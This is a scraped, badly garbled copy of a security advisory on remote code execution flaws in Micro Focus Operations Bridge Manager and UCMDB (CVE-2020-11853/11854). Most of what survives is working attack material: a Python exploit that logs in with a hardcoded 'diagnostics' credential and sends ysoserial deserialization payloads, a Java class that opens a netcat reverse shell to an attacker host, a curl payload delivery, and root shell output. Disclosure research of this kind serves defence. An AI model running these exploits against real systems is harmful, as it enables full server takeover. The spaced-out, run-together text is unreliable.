[20456] 2021-01-08_MicroFocusOperationsBridgeManager中的多个(RCE)漏洞

文档创建者:s7ckTeam
浏览次数:21
最后更新:2025-01-18
2021-01-08_MicroFocusOperationsBridgeManager中的多个(RCE)漏洞 M i c r o   F o c u s   O p e r a t i o n s   B r i d g e   M a n a g e r R C E P e d r o   R i b e i r o   K h a n   2 0 2 1 - 0 1 - 0 8 O B M I T I T   I T   使 O B M 使   "   " M e t a s p l o i t M e t a s p l o i t M i c r o   F o c u s   O p e r a t i o n s   B r i d g e   M a n a g e r ( O B M ) I T M i c r o   F o c u s   O p e r a t i o n s   B r i d g e   R e p o r t e r M i c r o   F o c u s   N e t w o r k   N o d e   M a n a g e r   i I T O B M J a v a 4 4 3 U C M D B 8 4 4 3 P o s t g r e s ( 使 ) W i n d o w s L i n u x U C M D B U I 8 4 4 3 使 M i c r o   F o c u s O B M M i c r o   F o c u s M i c r o   F o c u s   U n i v e r s a l   C M D B I T C I O B M M i c r o   F o c u s O B M 4 4 3 8 4 4 3 U C M D B O B M O B M 使 J a v a ( 4 1 ) 使 J a v a 2 0 2 0 . 0 5 W i n d o w s L i n u x W i n d o w s J a v a
J a v a   U n m a r s h a l l e r F o x g l o v e 1 使 使 C W E - 7 9 8 :   使 C V E - 2 0 2 0 - 1 1 8 5 4   /   Z D I - 2 0 - 1 2 8 7 / / 2 0 2 0 . 0 5 2 0 1 9 . 1 1 2 0 1 9 . 0 5 2 0 1 8 . 1 1 2 0 1 8 . 0 5 1 0 . 6 x 1 0 . 1 x 9 . 5 1 9 . 5 0 9 . 4 0 u C M D B   1 0 . 3 3   C U P   3 2 0 1 9 . 1 1 ,   2 0 1 9 . 0 8 ,   2 0 1 9 . 0 5 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   2 0 1 8 . 0 2 ,   2 0 1 7 . 1 1 O B M U C M D B a d m i n s y s a d m i n U I S y s a d m i n b s m _ o d b _ c u s t o m e r 1 d i a g n o s t i c s 访   U C M D B   W e b W e b a d m i n s y s a d m i n U I S y s a d m i n a d m i n W e b U C M D B b s m _ o d b _ c u s t o m e r 1 b s m _ o d b _ c u s t o m e r 1   " a d m i n " 使 U C M D B L W S S O _ C O O K I E _ K E Y u c m d b - u i / c m s / l o g i n R e q u e s t . d o 6 4 A H T T P   P O S T   U C M D B U C M D B B H T T P   P O S T   U C M D B . . . . . . L W S S O _ C O O K I E _ K E Y L i n u x W i n d o w s O B M 2 :   U C M D B     J a v a   C W E - 5 0 2 C V E - 2 0 2 0 - 1 1 8 5 3   /   Z D I - 2 0 - 1 2 8 8     Z D I - 2 0 - 1 3 2 5 / 2 0 2 0 . 0 5 2 0 1 9 . 1 1 2 0 1 9 . 0 5 2 0 1 8 . 1 1 2 0 1 8 . 0 5 1 0 . 6 x 1 0 . 1 x 9 . 5 1 9 . 5 0 9 . 4 0 u C M D B   1 0 . 3 3   C U P   3 2 0 1 9 . 1 1 2 0 1 9 . 1 1 ,   2 0 1 9 . 0 8 ,   2 0 1 9 . 0 5 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   2 0 1 8 . 0 2 ,   2 0 1 7 . 1 1 C M D B 2 0 2 0 . 0 5 ,   2 0 1 9 . 1 1 ,   2 0 1 9 . 0 5 ,   2 0 1 9 . 0 2 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   1 1 ,   1 0 . 3 3 ,   1 0 . 3 2 ,   1 0 . 3 1 ,   1 0 . 3 0 2 0 2 0 . 0 5 2 0 2 0 . 5 2 0 2 0 . 0 2 U C M D B 访 P O S T   / u c m d b - u i / c m s / l o g i n R e q u e s t . d o ; ? c u s t o m e r I D = 1 & i s E n c o d e d = f a l s e & u s e r N a m e = d i a g n o s t i c s & p a s s w o r d = Y W R t a W 4 = & l d a p S e r v e r N a m e = U C M D B   H T T P / 1 . 1 H T T P / 1 . 1   2 0 0   O K D a t e :   S u n ,   1 7   M a y   2 0 2 0   2 1 : 1 3 : 2 1   G M T X - F r a m e - O p t i o n s :   S A M E O R I G I N C o n t e n t - S e c u r i t y - P o l i c y :   f r a m e - a n c e s t o r s   ' s e l f ' X - C o n t e n t - T y p e - O p t i o n s :   n o s n i f f X - X s s - P r o t e c t i o n :   1 ;   m o d e = b l o c k S t r i c t - T r a n s p o r t - S e c u r i t y :   m a x - a g e = 3 1 5 3 6 0 0 0 S e t - C o o k i e :   L W S S O _ C O O K I E _ K E Y = W T Q w N d g F l D S M 1 I l 1 X T l W J G E r j H I G D g 5 4 m z v 4 Y u 5 1 _ H M k 3 m r L F 7 Z M B 6 K e R e c N 3 0 s W k d k E F J y L p q U G Q 0 h X Q n P i a p b w 1 8 9 1 i u G E O W 4 E w f k 8 X N U n I J s o u O b X N - G a Z H L h k f H N l U K p 7 3 q E q q v Y 5 9 4 n 2 P 5 O 2 s q s n 9 K Y r K 7 P u G Q 5 F E 0 d d K k I 2 p I v n 0 r k b T 2 e R F V d S p H h k - 6 S a d v f L m - C b z d r g L V 2 I N W Q g Y l Y t q M L e v I 5 i v 8 b y N 4 . ;   P a t h = / ;   H T T P O n l y = ;   S e c u r e = E x p i r e s :   T h u ,   0 1   J a n   1 9 7 0   0 0 : 0 0 : 0 0   G M T A u t h e n t i c a t i o n - R e s u l t - K e y :   A U T H E N T I C A T E D _ S U C C E S S F U L L Y L O C A L E :   e n C o n t e n t - L a n g u a g e :   e n C o n t e n t - T y p e :   t e x t / h t m l ; c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   2 6 9 8 3 < . . .   P O S T   D A T A   . . . >
J a v a J a v a R E S T   A P I J a v a 使 J a v a J a v a P O S T r o o t S Y S T E M 3 8 : S e c u r i t y S e r v i c e : P O S T L W S S O _ C O O K I E _ K E Y < J A V A _ S E R I A L I Z E D _ O B J E C T > y s o s e r i a l r o o t   /   S Y S T E M 使 S p r i n g   F r a m e w o r k c o m . h p . u c m d b . u i s e r v e r . s e r v i c e s . c o n t e x t . C m d b H t t p I n v o k e r S e r v i c e E x p o r t e r o r g . s p r i n g f r a m e w o r k . r e m o t i n g . h t t p i n v o k e r . H t t p I n v o k e r S e r v i c e E x p o r t e r J a v a d o c : S e r v l e t - A P I H T T P B e a n H T T P   i n v o k e r H T T P   i n v o k e r 访 R M I 使 J a v a C a u c h o H T T P H e s s i a n H T T P   i n v o k e r J a v a J a v a H e s s i a n J a v a H e s s i a n R M I J a v a H T T P   i n v o k e r 使 J S O N S e c u r i t y S e r v i c e S e c u r i t y S e r v i c e c o m . h p . u c m d b . u i s e r v e r . s e r v i c e s . c m d b . i m p l . S e c u r i t y S e r v i c e I m p l / u c m d b / s e r v i c e s / C m d b O p e r a t i o n E x e c u t e r S e r v i c e / u c m d b / s e r v i c e s / C a t e g o r y F a c a d e F o r G u i / u c m d b / s e r v i c e s / C o r r e l a t i o n F a c a d e F o r G u i / u c m d b / s e r v i c e s / C o r r e l a t i o n R u n n e r F a c a d e / u c m d b / s e r v i c e s / P a c k a g e F a c a d e F o r G u i / u c m d b / s e r v i c e s / S c h e d u l e r F a c a d e F o r G u i / u c m d b / s e r v i c e s / F o l d e r s F a c a d e / u c m d b / s e r v i c e s / B u s i n e s s M o d e l F a c a d e F o r G u i / u c m d b / s e r v i c e s / W a t c h S e r v e r A P I / u c m d b / s e r v i c e s / T o p o l o g y S e r v i c e / u c m d b / s e r v i c e s / R e p o r t S e r v i c e / u c m d b / s e r v i c e s / C M S I m a g e s S e r v i c e / u c m d b / s e r v i c e s / P a t t e r n S e r v i c e / u c m d b / s e r v i c e s / F o l d e r S e r v i c e / u c m d b / s e r v i c e s / R e l a t e d C I s S e r v i c e / u c m d b / s e r v i c e s / M a i l S e r v i c e / u c m d b / s e r v i c e s / D i s c o v e r y S e r v i c e / u c m d b / s e r v i c e s / S e r v i c e D i s c o v e r y S e r v i c e / u c m d b / s e r v i c e s / S o f t w a r e L i b r a r y S e r v i c e / u c m d b / s e r v i c e s / D a t a A c q u i s i t i o n S e r v i c e / u c m d b / s e r v i c e s / C I S e r v i c e / u c m d b / s e r v i c e s / H i s t o r y S e r v i c e / u c m d b / s e r v i c e s / B u n d l e S e r v i c e / u c m d b / s e r v i c e s / L o c a t i o n S e r v i c e / u c m d b / s e r v i c e s / S c h e d u l e r S e r v i c e / u c m d b / s e r v i c e s / I m p a c t S e r v i c e / u c m d b / s e r v i c e s / C o m m o n S e r v i c e / u c m d b / s e r v i c e s / P e r m i s s i o n s S e r v i c e / u c m d b / s e r v i c e s / C l a s s M o d e l S e r v i c e / u c m d b / s e r v i c e s / S n a p s h o t S e r v i c e / u c m d b / s e r v i c e s / L D A P S e r v i c e / u c m d b / s e r v i c e s / C I T S e r v i c e / u c m d b / s e r v i c e s / M u l t i T e n a n c y S e r v i c e / u c m d b / s e r v i c e s / S e c u r i t y S e r v i c e / u c m d b / s e r v i c e s / R e s o u r c e M a n a g e m e n t S e r v i c e / u c m d b / s e r v i c e s / A u t o m a t i o n M a p p i n g S e r v i c e / u c m d b / s e r v i c e s / L i c e n s i n g S e r v i c e / u c m d b / s e r v i c e s / G e n e r i c A d a p t e r S e r v i c e P O S T   / u c m d b - u i / s e r v i c e s / S e c u r i t y S e r v i c e   H T T P / 1 . 1 H o s t :   1 0 . 1 0 . 1 0 . 9 9 : 8 4 4 3 U s e r - A g e n t :   p y t h o n - r e q u e s t s / 2 . 2 3 . 0 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * C o n n e c t i o n :   c l o s e c o n t e n t - t y p e :   a p p l i c a t i o n / x - j a v a - s e r i a l i z e d - o b j e c t C o o k i e :   L W S S O _ C O O K I E _ K E Y = 1 f e z N b 7 T 1 Q R g g k h F B r Y h M C u i S c h r q K d y A a b S S O M r Z M e P 2 8 - F i I y z L N l V V 9 K B a g K s L j i U b G d J 0 m W e n 7 O v A T g C 3 L i W m l G R Q w 5 v n T z m 9 t V 8 f 3 t I f O q X v b Z I W u d k 4 v a j f 4 Q q u x - X 2 S 1 M J J B 6 b 2 i k N A 9 M 9 2 1 i l R D p t E Y 0 I q e i Q 6 8 m x I A F s 5 P x S 9 I 2 2 r 5 Y s z Z M S M Y m e 0 5 G g t d b Q Q A - J q O v D r R N Y O F c a 5 I Z g t b p G k H z C P U U y L k . C o n t e n t - L e n g t h :   6 8 5 5 < J A V A _ S E R I A L I Z E D _ O B J E C T >   p u b l i c   b o o l e a n   i s S e r v e r A d m i n i s t r a t o r ( )   {         t r y   {
C c o m . h p . u c m d b . u i s e r v e r . s e r v i c e s . c m d b . i m p l . S e c u r i t y S e r v i c e I m p l . i s S e r v e r A d m i n i s t r a t o r ( ) 使 使 H T T P   P O S T J a v a H t t p I n v o k e r S e r v i c e E x p o r t e r   S p r i n g   R e m o t i n g # 1 O B M U C M D B A B 使 y s o s e r i a l   C o m m o n s B e a n u t i l s 1 P O S T p a y l o a d 1 L W S S O _ C O O K I E _ K E Y / u c m d b - u i / s e r v i c e s / S e c u r i t y S e r v i c e P y t h o n         t r y   {             U c m d b S e r v i c e I n t e r n a l   s d k   =   ( U c m d b S e r v i c e I n t e r n a l ) S e r v e r C o n t e x t . g e t ( ) . e x e c u t e I n S e s s i o n l e s s C o n t e x t ( t h i s . s e s s i o n C o n t e x t . g e t S e s s i o n I n f o ( ) . g e t C u s t o m e r C o n t e x t ( ) ,   n e w   S e s s i o n l e s s C o n t e x t E x e c u t a b l e < U c m d b S e r v i c e I n t e r n a l > ( )   {                         p u b l i c   U c m d b S e r v i c e I n t e r n a l   r u n ( S e s s i o n C o n t e x t   s e s s i o n C o n t e x t )   {                             r e t u r n   s e s s i o n C o n t e x t . g e t C m d b C o n n e c t o r ( ) . g e t S d k ( ) ;                         }                     } ) ;             U s e r I d   u s e r I d   =   t h i s . s e s s i o n C o n t e x t . g e t S e s s i o n I n f o ( ) . g e t L o g g e d I n U s e r I d ( ) ;             r e t u r n   s d k . g e t A u t h o r i z a t i o n M o d e l S e r v i c e I n t e r n a l ( ) . i s S e r v e r A d m i n i s t r a t o r ( u s e r I d ) ;         }   c a t c h   ( C m d b E x c e p t i o n   e )   {             L O G . e r r o r ( " U s e r   c o u l d   n o t   b e   f o u n d   i n   U R M " ,   ( T h r o w a b l e ) e ) ;             r e t u r n   f a l s e ;         }   c a t c h   ( E x c e p t i o n   e )   {             L O G . e r r o r ( " E r r o r   t o   g e t   S e r v e r A d m i n i s t r a t o r   f r o m   U R M " ,   e ) ;             r e t u r n   f a l s e ;         }       } # ! / u s r / b i n / p y t h o n 3 # # #   E x p l o i t   f o r   M i c r o   F o c u s   O p e r a t i o n s   B r i d g e   M a n a g e r   2 0 2 0 . 0 5   U C M D B   S e r v i c e s   I n s e c u r e   J a v a   D e s e r i a l i z a t i o n   ( C V E - 2 0 2 0 - 1 1 8 5 3 ) # #   B y   P e d r o   R i b e i r o   ( p e d r i b @ a g i l e i n f o s e c . c o . u k   |   @ p e d r i b 1 3 3 7 )   f r o m   A g i l e   I n f o r m a t i o n   S e c u r i t y # i m p o r t   s y s i m p o r t   o s i m p o r t   r e q u e s t s d e f   u s a g e ( ) :         p r i n t ( " U s a g e :   . / o b m P w n . p y   < R H O S T >   < Y S O S E R I A L _ J A R >   < C O M M A N D > " )         e x i t ( 1 ) i f   l e n ( s y s . a r g v )   <   4 :         u s a g e ( ) r h o s t   =   s y s . a r g v [ 1 ] y s o s e r i a l   =   s y s . a r g v [ 2 ] c o m m a n d   =   s y s . a r g v [ 3 ] i f   n o t   o s . p a t h . e x i s t s ( y s o s e r i a l ) :         u s a g e ( ) r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( ) p r i n t ( " [ * ]   G e n e r a t i n g   y s o s e r i a l   p a y l o a d   w i t h   c o m m a n d   % s "   %   ( c o m m a n d ) ) o s . s y s t e m ( " j a v a   - j a r   % s   C o m m o n s B e a n u t i l s 1   ' % s '   >   / t m p / p a y l o a d . s e r "   %   ( y s o s e r i a l ,   c o m m a n d ) ) u r l _ b a s e   =   " h t t p s : / / % s : 8 4 4 3 / u c m d b - u i "   %   ( r h o s t ) u r l _ l o g i n   =   u r l _ b a s e   +   " / c m s / l o g i n R e q u e s t . d o ; ? c u s t o m e r I D = 1 & i s E n c o d e d = f a l s e & u s e r N a m e = d i a g n o s t i c s & p a s s w o r d = Y W R t a W 4 = & l d a p S e r v e r N a m e = U C M D B " p r i n t ( " [ * ]   A u t h e n t i c a t i n g   t o   % s "   %   ( u r l _ l o g i n ) ) s e s   =   r e q u e s t s . S e s s i o n ( ) r e s   =   s e s . p o s t ( u r l _ l o g i n ,   v e r i f y = F a l s e ) a u t h   =   N o n e f o r   c o o k i e   i n   r e s . c o o k i e s . i t e m s ( ) :         i f   c o o k i e [ 0 ]   = =   " L W S S O _ C O O K I E _ K E Y " :                 a u t h   =   c o o k i e i f   a u t h   = =   N o n e :         p r i n t ( " [ - ]   F a i l e d   t o   a u t h e n t i c a t e   a n d   o b t a i n   L W S S O _ C O O K I E _ K E Y " )         e x i t ( 1 ) e l s e :         p r i n t ( " [ + ]   W e   a r e   n o w   a u t h e n t i c a t e d   a n d   o b t a i n e d   o u r   L W S S O _ C O O K I E _ K E Y ! " ) #   S e c u r i t y S e r v i c e   i s   u s e d   h e r e ,   b u t   a n y   o f   t h e   o t h e r   3 7   e n d p o i n t s   c a n   b e   u s e d u r l _ p w n   =   u r l _ b a s e   +   " / s e r v i c e s / S e c u r i t y S e r v i c e " p r i n t ( " [ * ]   S e n d i n g   y s o s e r i a l   p a y l o a d   t o   % s "   %   ( u r l _ p w n ) )
p y t h o n 3   u c m d b P w n . p y   1 0 . 1 0 . 1 0 . 9 9   y s o s e r i a l - m a s t e r - S N A P S H O T . j a r   c a l c . e x e . . . . . . c a l c . e x e O B M W i n d o w s S Y S T E M 1 0 . 1 0 . 1 0 . 9 9 L i n u x W i n d o w s O B M a s c i i n e m a   c a s t L i n u x O B M h t t p s : / / a s c i i n e m a . o r g / a / 3 7 6 4 4 2 3 R e g i s t r a t i o n S e r v l e t J a v a C W E - 5 0 2 C V E - 2 0 2 0 - 1 1 8 5 3   /   Z D I - 2 0 - 1 3 2 7 / 2 0 2 0 . 0 5 2 0 1 9 . 1 1 2 0 1 9 . 0 5 2 0 1 8 . 1 1 2 0 1 8 . 0 5 1 0 . 6 x 1 0 . 1 x 9 . 5 1 9 . 5 0 9 . 4 0 u C M D B   1 0 . 3 3   C U P   3 2 0 1 9 . 1 1 2 0 1 9 . 1 1 ,   2 0 1 9 . 0 8 ,   2 0 1 9 . 0 5 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   2 0 1 8 . 0 2 ,   2 0 1 7 . 1 1 C M D B 2 0 2 0 . 0 5 ,   2 0 1 9 . 1 1 ,   2 0 1 9 . 0 5 ,   2 0 1 9 . 0 2 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   1 1 ,   1 0 . 3 3 ,   1 0 . 3 2 ,   1 0 . 3 1 ,   1 0 . 3 0 2 0 2 0 . 0 5 2 0 2 0 . 5 2 0 2 0 . 0 2 O B M / l e g a c y / t o p a z / s i t e s c o p e / c o n f / r e g i s t r a t i o n c o m . h p . o p r . l e g a c y . s i t e s c o p e . s e r v l e t . R e g i s t r a t i o n S e r v l e t d o P o s t ( ) h e a d e r s   =   { ' c o n t e n t - t y p e ' :   ' a p p l i c a t i o n / x - j a v a - s e r i a l i z e d - o b j e c t ' } w i t h   o p e n ( ' / t m p / p a y l o a d . s e r ' ,   ' r b ' )   a s   p a y l o a d :         r e s   =   s e s . p o s t ( u r l _ p w n ,   h e a d e r s = h e a d e r s ,   d a t a = p a y l o a d ,   v e r i f y = F a l s e )         i f   r e s . s t a t u s _ c o d e   = =   5 0 0 :                 p r i n t ( " [ + ]   S u c c e s s ,   y o u r   c o m m a n d   h a s   b e e n   e x e c u t e d ! " )         e l s e :                 p r i n t ( " [ - ]   S o m e t h i n g   w e n t   w r o n g ,   p l e a s e   t r y   a g a i n . . . " ) p u b l i c   v o i d   d o P o s t ( H t t p S e r v l e t R e q u e s t   r e q u e s t ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e )   t h r o w s   S e r v l e t E x c e p t i o n ,   I O E x c e p t i o n   {     O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( ( I n p u t S t r e a m ) r e q u e s t . g e t I n p u t S t r e a m ( ) ) ;     H a s h M a p < O b j e c t ,   O b j e c t >   r e q u e s t M a p   =   n u l l ;     t r y   {         r e q u e s t M a p   =   ( H a s h M a p < O b j e c t ,   O b j e c t > ) o i s . r e a d O b j e c t ( ) ;     }   c a t c h   ( C l a s s N o t F o u n d E x c e p t i o n   e )   {         s _ l o g g e r . e r r o r ( " C o u l d   n o t   g e t   o b j e c t   f r o m   r e q u e s t . " ) ;         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " C o u l d   n o t   g e t   o b j e c t   f r o m   r e q u e s t . " ) ;         r e t u r n ;     }       i f   ( r e q u e s t M a p   = =   n u l l )   {         s _ l o g g e r . e r r o r ( " C o u l d   n o t   g e t   s a m p l e _ t   f r o m   r e q u e s t . " ) ;         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " C o u l d   n o t   g e t   s a m p l e _ t   f r o m   r e q u e s t . " ) ;         r e t u r n ;     }       S t r i n g   a p i N a m e   =   r e q u e s t . g e t P a r a m e t e r ( " a p i N a m e " ) ;     i f   ( a p i N a m e   = =   n u l l   | |   a p i N a m e . e q u a l s ( " " ) )   {         s _ l o g g e r . e r r o r ( " C o u l d   n o t   g e t   a p i _ n a m e   f r o m   r e q u e s t . " ) ;         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " C o u l d   n o t   g e t   a p i _ n a m e   f r o m   r e q u e s t . " ) ;         r e t u r n ;
D c o m . h p . p r . l e g a c y . s i t e s c o p e . s e r v l e t . R e g i s t r a t i o n S e r v l e t . d o P o s t ( ) s e r v l e t J a v a   D e s e r i a l i z a t i o n H T T P   P O S T O b j e c t I n p u t S t r e a m r e a d O b j e c t ( ) / l e g a c y / t o p a z / s i t e s c o p e / c o n f / r e g i s t r a t i o n P O S T c 3 p 0   0 . 9 . 1 . 2 y s o s e r i a l   S n i p p e t   E     y s o s e r i a l   E :     c 3 p 0   0 . 9 . 1 . 2     y s o s e r i a l   W i n d o w s 使 c 3 p 0   y s o s e r i a l   " " F E x p l o i t C l a s s E x p l o i t C l a s s J a v a   8 P y t h o n s h e l l L i n u x : y s o s e r i a l :     }       A P I H a n d l e r   h   =   A P I H a n d l e r s D i c t i o n a r y . g e t H a n d l e r ( a p i N a m e ) ;     i f   ( h   = =   n u l l )   {         s _ l o g g e r . e r r o r ( " d o P o s t :   d o n t   h a v e   h a n d l e r   f o r   a p i _ n a m e   = ' "   +   a p i N a m e   +   " ' " ) ;         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " d o P o s t :   d o n t   h a v e   h a n d l e r   f o r   s u p p l i e d   a p i _ n a m e " ) ;         r e t u r n ;     }       i f   ( s _ l o g g e r . i s D e b u g E n a b l e d ( ) )         s _ l o g g e r . d e b u g ( " d o P o s t :   F o u n d   h a n d l e r   f o r   a p i   "   +   a p i N a m e   +   " ,   i n v o k i n g   i t . . . " ) ;       i n v o k e H a n d l e r ( h ,   r e q u e s t M a p ,   r e s p o n s e ) ;     } d i f f   - - g i t   a / p o m . x m l   b / p o m . x m l i n d e x   7 3 d 3 9 c 4 . . 9 d 2 7 4 7 3   1 0 0 6 4 4 - - -   a / p o m . x m l + + +   b / p o m . x m l @ @   - 2 3 9 , 7   + 2 3 9 , 7   @ @                                 < d e p e n d e n c y >                                                 < g r o u p I d > c o m . m c h a n g e < / g r o u p I d >                                                 < a r t i f a c t I d > c 3 p 0 < / a r t i f a c t I d > -                                               < v e r s i o n > 0 . 9 . 5 . 2 < / v e r s i o n > +                                               < v e r s i o n > 0 . 9 . 1 . 2 < / v e r s i o n >                                 < / d e p e n d e n c y >                                 < d e p e n d e n c y >                                                 < g r o u p I d > j a v a x . s e r v l e t < / g r o u p I d > c a t     < <   E O F   >   E x p l o i t C l a s s . j a v a p u b l i c   c l a s s   E x p l o i t C l a s s   {     p u b l i c   E x p l o i t C l a s s ( )   t h r o w s   E x c e p t i o n   {         R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ;         / /   f o r   L i n u x         S t r i n g [ ]   c o m m a n d s   =   { " / b i n / s h " ,   " - c " ,   " n c   1 0 . 1 0 . 1 0 . 1   8 8 8 8   - e   / b i n / s h " } ;         / /   f o r   W i n d o w s         / / S t r i n g [ ]   c o m m a n d s   =   { " c m d " ,   " / c " ,   " m s p a i n t . e x e " } ;         P r o c e s s   p c   =   r t . e x e c ( c o m m a n d s ) ;         p c . w a i t F o r ( ) ;     } } E O F / u s r / l i b / j v m / j a v a - 8 - o p e n j d k - a m d 6 4 / b i n / j a v a c   E x p l o i t C l a s s . j a v a p y t h o n   - m   S i m p l e H T T P S e r v e r   4 4 4 4   & n c   - l v k n p   8 8 8 8 j a v a   - j a r   y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - a l l - c 3 p 0 - 0 . 9 . 1 . 2 . j a r   C 3 P 0   " h t t p : / / 1 0 . 1 0 . 1 0 . 1 : 4 4 4 4 / : E x p l o i t C l a s s "   >   / t m p / p a y l o a d . s e r C O O K I E = ' C o o k i e :   J S E S S I O N I D = x Q J J m H D w O Q M l A L 9 3 P a L P E 4 P A ;   L W S S O _ C O O K I E _ K E Y = m q x 8 G A J d W 7 M 8 d h 5 b O 9 9 h i Z j X A g O H m d t e a L s y _ c 9 N 7 7 F 6 n 2 f F B _ X W p e 0 w D H n p G - x 2 R b O H N m 3 H 7 h j H s m Y p R c 4 P P g 2 o h E F N 7 d u z t v J D 0 M _ u 3 G U c g _ Y U J P y 5 c 6 e w b q i 6 1 F R l l h 0 A o N w A b 5 K - 1 f N - u R V K 0 c 8 y E V V I k B b x n 9 v x s C E h o f R b Z N d t n D Q M b 3 W U e b 7 y I n w R A z f P I C W M n E 5 i u J _ T T y T D l w . . ; ' c u r l   - i   - s   - k   - X   $ ' P O S T '       - H   $ ' H o s t :   1 0 . 1 0 . 1 0 . 9 9 '       - - d a t a - b i n a r y   @ / t m p / p a y l o a d . s e r       - H   $ ' C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m '   - H   ' E x p e c t : '   - H   " $ C O O K I E "           $ ' h t t p s : / / 1 0 . 1 0 . 1 0 . 9 9 / l e g a c y / t o p a z / s i t e s c o p e / c o n f / r e g i s t r a t i o n '
G c u r l J a v a P y t h o n   w e b E x p l o i t C l a s s s h e l l : W e b # 1 W e b S n i p p e t   G 使 4 4 3 W e b c u r l C O O K I E L W S S O _ C O O K I E _ K E Y L i n u x W i n d o w s O B M 4 S A M D o w n l o a d S e r v l e t J a v a C W E - 5 0 2 C V E - 2 0 2 0 - 1 1 8 5 3   /   Z D I - 2 0 - 1 3 2 8 / 2 0 2 0 . 0 5 2 0 1 9 . 1 1 2 0 1 9 . 0 5 2 0 1 8 . 1 1 2 0 1 8 . 0 5 1 0 . 6 x 1 0 . 1 x 9 . 5 1 9 . 5 0 9 . 4 0 u C M D B   1 0 . 3 3   C U P   3 2 0 1 9 . 1 1 2 0 1 9 . 1 1 ,   2 0 1 9 . 0 8 ,   2 0 1 9 . 0 5 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   2 0 1 8 . 0 2 ,   2 0 1 7 . 1 1 C M D B 2 0 2 0 . 0 5 ,   2 0 1 9 . 1 1 ,   2 0 1 9 . 0 5 ,   2 0 1 9 . 0 2 ,   2 0 1 8 . 1 1 ,   2 0 1 8 . 0 8 ,   2 0 1 8 . 0 5 ,   1 1 ,   1 0 . 3 3 ,   1 0 . 3 2 ,   1 0 . 3 1 ,   1 0 . 3 0 2 0 2 0 . 0 5 2 0 2 0 . 5 2 0 2 0 . 0 2 J a v a s e r v l e t c o m . h p . o p r . l e g a c y . s i t e s c o p e . s e r v l e t . S A M D o w n l o a d S e r v l e t / l e g a c y / t o p a z / s i t e s c o p e / c o n f / d o w n l o a d d o P o s t ( ) : S n i p p e t   H :   c o m . h p . p r . l e g a c y . s i t e s c o p e . s e r v l e t . S A M D o w n l o a d S e r v l e t . d o P o s t ( ) # 3 使 # 1 使 y s o s e r i a l c 3 p 0   0 . 9 . 1 . 2 S n i p p e t   G U R L / l e g a c y / t o p a z / s i t e s c o p e / c o n f / d o w n l o a d L i n u x W i n d o w s O B M 1 0 . 1 0 . 1 0 . 9 9   -   -   [ ]   " G E T   / E x p l o i t C l a s s . c l a s s   H T T P / 1 . 1 "   2 0 0   - c o n n e c t   t o   [ 1 0 . 1 0 . 1 0 . 1 ]   f r o m   ( U N K N O W N )   [ 1 0 . 1 0 . 1 0 . 9 9 ]   5 5 3 4 0 w h o a m i r o o t i d u i d = 0 ( r o o t )   g i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t )   c o n t e x t = s y s t e m _ u : s y s t e m _ r : u n c o n f i n e d _ s e r v i c e _ t : s 0 u n a m e   - a L i n u x   c e n t o s 7 . n a t   3 . 1 0 . 0 - 1 0 6 2 . 1 8 . 1 . e l 7 . x 8 6 _ 6 4   # 1   S M P   T u e   M a r   1 7   2 3 : 4 9 : 1 7   U T C   2 0 2 0   x 8 6 _ 6 4   x 8 6 _ 6 4   x 8 6 _ 6 4   G N U / L i n u x l s h p b s m d . p i d l i b w r a p p e r . s o n a n n y W r a p p e r R u n n e r . s h w r a p p e r w r a p p e r . j a r p w d / o p t / H P / B S M / s u p e r v i s o r / w r a p p e r   p u b l i c   v o i d   d o P o s t ( H t t p S e r v l e t R e q u e s t   r e q u e s t ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e )   t h r o w s   S e r v l e t E x c e p t i o n ,   I O E x c e p t i o n   {     M a p < O b j e c t ,   O b j e c t >   r e q u e s t M a p ;     O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( ( I n p u t S t r e a m ) r e q u e s t . g e t I n p u t S t r e a m ( ) ) ;     t r y   {         r e q u e s t M a p   =   ( M a p < O b j e c t ,   O b j e c t > ) o i s . r e a d O b j e c t ( ) ;     }   c a t c h   ( C l a s s N o t F o u n d E x c e p t i o n   e )   {         s _ l o g g e r . e r r o r ( " C o u l d   n o t   g e t   o b j e c t   f r o m   r e q u e s t . " ) ;         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " C o u l d   n o t   g e t   o b j e c t   f r o m   r e q u e s t . " ) ;         r e t u r n ;     }       i f   ( r e q u e s t M a p   = =   n u l l )   {         s _ l o g g e r . e r r o r ( " C o u l d   n o t   g e t   r e q u e s t M a p   f r o m   r e q u e s t . " ) ;         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " C o u l d   n o t   g e t   r e q u e s t M a p   f r o m   r e q u e s t . " ) ;         r e t u r n ;     }       i f   ( ! v a l i d a t e D a t a ( r e q u e s t M a p ) )   {         r e s p o n s e . s e n d E r r o r ( 4 0 0 ,   " U n a b l e   t o   v a l i d a t e   p r o p e r t i e s   f r o m   r e q u e s t . " ) ;         r e t u r n ;     }       S t r i n g   x m l V a l u e   =   h a n d l e R e q u e s t ( r e q u e s t M a p ) ;     r e s p o n s e . s e t C o n t e n t T y p e ( " t e x t / x m l ;   c h a r s e t = U T F - 8 " ) ;     P r i n t W r i t e r   w r i t e r   =   r e s p o n s e . g e t 